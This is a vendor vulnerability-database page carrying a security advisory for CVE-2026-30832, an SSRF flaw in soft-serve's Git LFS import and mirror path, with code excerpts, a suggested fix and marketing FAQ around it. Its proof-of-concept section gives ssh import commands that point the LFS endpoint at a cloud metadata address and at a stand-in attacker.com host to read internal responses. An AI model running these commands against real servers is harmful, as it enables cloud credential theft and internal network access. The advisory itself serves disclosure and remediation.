How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

326,895

Total vulnerabilities in the database

CVE-2026-30832

While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection — ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time — but the LFS HTTP client still uses http.DefaultClient with no filtering at all.

Summary

An authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.

Details

The user-controlled endpoint flows through four files with zero validation:

1. User supplies the URL via --lfs-endpoint (pkg/ssh/cmd/import.go:20-41)

cmd.Flags().StringVarP(&amp;lfsEndpoint, &quot;lfs-endpoint&quot;, &quot;&quot;, &quot;&quot;, &quot;set the Git LFS endpoint&quot;)

The flag value is passed directly into proto.RepositoryOptions{LFSEndpoint: lfsEndpoint} at line 40 and then to be.ImportRepository().

2. Access check passes for any authenticated user (pkg/ssh/cmd/cmd.go:172-187, pkg/backend/user.go:94-100)

The import command uses checkIfCollab as its PersistentPreRunE. For a new repo name (which is normal during import -- you're creating it), AccessLevelForUser hits this path:

// pkg/backend/user.go:94-100
if user != nil {
    // If the repository doesn&#039;t exist, the user has read/write access.
    if anon &gt; access.ReadWriteAccess {
        return anon
    }

    return access.ReadWriteAccess
}

This is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn't that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.

3. Endpoint flows to the LFS client unvalidated (pkg/backend/repo.go:170-194)

// pkg/backend/repo.go:170-173
endpoint := remote
if opts.LFSEndpoint != &quot;&quot; {
    endpoint = opts.LFSEndpoint
}

When opts.LFSEndpoint is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:

// pkg/backend/repo.go:182-194
ep, err := lfs.NewEndpoint(endpoint)
// ...
client := lfs.NewClient(ep)
// ...
if err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {

lfs.NewEndpoint does URL parsing only -- no SSRF validation. lfs.NewClient calls newHTTPClient.

4. HTTP client has no protection (pkg/lfs/http_client.go:24-31)

// pkg/lfs/http_client.go:24-31
func newHTTPClient(endpoint Endpoint) *httpClient {
    return &amp;httpClient{
        client:   http.DefaultClient,
        endpoint: endpoint,
        transfers: map[string]TransferAdapter{
            TransferBasic: &amp;BasicTransferAdapter{http.DefaultClient},
        },
    }
}

Both the batch client and the BasicTransferAdapter use http.DefaultClient -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:

// pkg/webhook/webhook.go:42-76 -- the protected version
var secureHTTPClient = &amp;http.Client{
    Timeout: 30 * time.Second,
    Transport: &amp;http.Transport{
        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
            host, _, err := net.SplitHostPort(addr)
            // ...
            ip := net.ParseIP(host)
            if ip != nil {
                if err := ValidateIPBeforeDial(ip); err != nil {
                    return nil, fmt.Errorf(&quot;blocked connection to private IP: %w&quot;, err)
                }
            }
            // ...
        },
    },
    CheckRedirect: func(*http.Request, []*http.Request) error {
        return http.ErrUseLastResponse
    },
}

How the attack chains together:

Stage 1 -- blind SSRF: The server sends a POST to <attacker-endpoint>/objects/batch (see http_client.go:57). If the endpoint is a cloud metadata service like http://169.254.169.254/latest/meta-data/, the response won't be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.

Stage 2 -- reading internal responses via fake LFS server: If the attacker hosts a fake LFS server that returns valid batch responses, the BasicTransferAdapter follows the download URLs from the response:

// pkg/lfs/basic_transfer.go:71-89
func (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {
    // ...
    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response
    // ...
    res, err := a.client.Do(req)  // a.client is http.DefaultClient

The l.Href field comes from the attacker's batch response. The a.client is the same unprotected http.DefaultClient. So the fake LFS server can point download URLs at internal targets like http://169.254.169.254/latest/api/token or http://10.0.0.1:8080/admin, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.

Mirror sync persistence: When a repo is imported with --lfs-endpoint, the URL is persisted in the repo's git config at lfs.url (repo.go:175). If imported as a mirror (--mirror), the periodic sync job reads this config and uses the same unprotected LFS client:

// pkg/jobs/mirror.go:94-111
lfsEndpoint := rcfg.Section(&quot;lfs&quot;).Option(&quot;url&quot;)
if lfsEndpoint == &quot;&quot; {
    return
}

ep, err := lfs.NewEndpoint(lfsEndpoint)
// ...
client := lfs.NewClient(ep)
// ...
if err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {

A single --mirror --lfs --lfs-endpoint <internal-url> import creates persistent SSRF that repeats on every mirror sync without further interaction.

Two notes:

The batch request only fires if the imported repo contains LFS pointer blobs (checked via SearchPointerBlobs). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.
The import path in repo.go does not check the global cfg.LFS.Enabled flag -- it always processes LFS when the --lfs flag is passed. The mirror path (mirror.go:87) does gate on cfg.LFS.Enabled. So the import vector works regardless of server-level LFS configuration.

Protection comparison:

| Layer | Webhooks (v0.11.1+) | LFS import/mirror | |---|---|---| | URL validation at input | ValidateWebhookURL() | None | | Custom HTTP transport | secureHTTPClient with ValidateIPBeforeDial | http.DefaultClient | | Redirect blocking | CheckRedirect returns http.ErrUseLastResponse | Default (follows redirects) | | DNS rebinding protection | IP checked at dial time | None |

Affected versions:

Introduced in v0.6.0 (commit ea6b9a4 added --lfs-endpoint flag)
Still present in v0.11.3+ (current main)
Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers pkg/webhook/, not pkg/lfs/

Suggested fix:

The existing SSRF protections in pkg/webhook/validator.go and pkg/webhook/webhook.go are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:

Replace http.DefaultClient in pkg/lfs/http_client.go with a secure client using ValidateIPBeforeDial in the transport and http.ErrUseLastResponse in CheckRedirect -- matching the webhook pattern.
Validate the endpoint URL in pkg/backend/repo.go (before lfs.NewEndpoint) and pkg/jobs/mirror.go (before creating the client) using the same checks ValidateWebhookURL performs.

Both layers matter -- URL validation catches the obvious cases, ValidateIPBeforeDial at connection time catches DNS rebinding.

PoC

Based on code review. These haven't been run against a live instance, but the data flow from --lfs-endpoint to http.DefaultClient.Do() is straightforward:

# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)
ssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/

# Reading internal responses via fake LFS server
# 1. Host a server at attacker.com that responds to POST /objects/batch
#    with a valid BatchResponse containing download URLs pointing at internal targets
# 2. Import with that endpoint
ssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://attacker.com/fake-lfs/

Impact

Any authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.

Concrete impact:

Port scanning / service discovery: Confirm reachability of internal hosts via timing and error responses
Cloud credential theft: Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced
Internal API access: Read responses from internal services by routing LFS download URLs through the pipeline
Persistence: Mirror imports repeat the SSRF on every scheduled sync without further user action

Reported by Vinayak Mishra GitHub: @vnykmshr

Published: Mar 6, 2026
Updated: Mar 7, 2026
CVE: CVE-2026-30832
GHSA: GHSA-3fvx-xrxq-8jvv
Severity: Critical
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

CWEs:

CWE-918

Affected Software
References

Software	From	Fixed in
github.com/charmbracelet/soft-serve	0.6.0	0.11.4

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.